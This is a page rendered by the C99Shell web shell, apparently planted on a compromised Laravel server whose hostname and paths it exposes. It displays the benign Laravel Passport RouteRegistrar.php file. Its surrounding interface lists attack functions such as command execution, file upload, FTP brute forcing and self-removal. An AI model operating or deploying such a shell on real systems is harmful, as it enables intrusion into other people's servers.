!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/inventory.picotech.app/public_html/vendor/laravel/passport/src/   drwxr-xr-x
Free 28.55 GB of 117.98 GB (24.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     RouteRegistrar.php (4.63 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Laravel\Passport;

use 
Illuminate\Contracts\Routing\Registrar as Router;

class 
RouteRegistrar
{
    
/**
     * The router implementation.
     *
     * @var \Illuminate\Contracts\Routing\Registrar
     */
    
protected $router;

    
/**
     * Create a new route registrar instance.
     *
     * @param  \Illuminate\Contracts\Routing\Registrar  $router
     * @return void
     */
    
public function __construct(Router $router)
    {
        
$this->router $router;
    }

    
/**
     * Register routes for transient tokens, clients, and personal access tokens.
     *
     * @return void
     */
    
public function all()
    {
        
$this->forAuthorization();
        
$this->forAccessTokens();
        
$this->forTransientTokens();
        
$this->forClients();
        
$this->forPersonalAccessTokens();
    }

    
/**
     * Register the routes needed for authorization.
     *
     * @return void
     */
    
public function forAuthorization()
    {
        
$this->router->group(['middleware' => ['web''auth']], function ($router) {
            
$router->get('/authorize', [
                
'uses' => 'AuthorizationController@authorize',
                
'as' => 'passport.authorizations.authorize',
            ]);

            
$router->post('/authorize', [
                
'uses' => 'ApproveAuthorizationController@approve',
                
'as' => 'passport.authorizations.approve',
            ]);

            
$router->delete('/authorize', [
                
'uses' => 'DenyAuthorizationController@deny',
                
'as' => 'passport.authorizations.deny',
            ]);
        });
    }

    
/**
     * Register the routes for retrieving and issuing access tokens.
     *
     * @return void
     */
    
public function forAccessTokens()
    {
        
$this->router->post('/token', [
            
'uses' => 'AccessTokenController@issueToken',
            
'as' => 'passport.token',
            
'middleware' => 'throttle',
        ]);

        
$this->router->group(['middleware' => ['web''auth']], function ($router) {
            
$router->get('/tokens', [
                
'uses' => 'AuthorizedAccessTokenController@forUser',
                
'as' => 'passport.tokens.index',
            ]);

            
$router->delete('/tokens/{token_id}', [
                
'uses' => 'AuthorizedAccessTokenController@destroy',
                
'as' => 'passport.tokens.destroy',
            ]);
        });
    }

    
/**
     * Register the routes needed for refreshing transient tokens.
     *
     * @return void
     */
    
public function forTransientTokens()
    {
        
$this->router->post('/token/refresh', [
            
'middleware' => ['web''auth'],
            
'uses' => 'TransientTokenController@refresh',
            
'as' => 'passport.token.refresh',
        ]);
    }

    
/**
     * Register the routes needed for managing clients.
     *
     * @return void
     */
    
public function forClients()
    {
        
$this->router->group(['middleware' => ['web''auth']], function ($router) {
            
$router->get('/clients', [
                
'uses' => 'ClientController@forUser',
                
'as' => 'passport.clients.index',
            ]);

            
$router->post('/clients', [
                
'uses' => 'ClientController@store',
                
'as' => 'passport.clients.store',
            ]);

            
$router->put('/clients/{client_id}', [
                
'uses' => 'ClientController@update',
                
'as' => 'passport.clients.update',
            ]);

            
$router->delete('/clients/{client_id}', [
                
'uses' => 'ClientController@destroy',
                
'as' => 'passport.clients.destroy',
            ]);
        });
    }

    
/**
     * Register the routes needed for managing personal access tokens.
     *
     * @return void
     */
    
public function forPersonalAccessTokens()
    {
        
$this->router->group(['middleware' => ['web''auth']], function ($router) {
            
$router->get('/scopes', [
                
'uses' => 'ScopeController@all',
                
'as' => 'passport.scopes.index',
            ]);

            
$router->get('/personal-access-tokens', [
                
'uses' => 'PersonalAccessTokenController@forUser',
                
'as' => 'passport.personal.tokens.index',
            ]);

            
$router->post('/personal-access-tokens', [
                
'uses' => 'PersonalAccessTokenController@store',
                
'as' => 'passport.personal.tokens.store',
            ]);

            
$router->delete('/personal-access-tokens/{token_id}', [
                
'uses' => 'PersonalAccessTokenController@destroy',
                
'as' => 'passport.personal.tokens.destroy',
            ]);
        });
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0044 ]--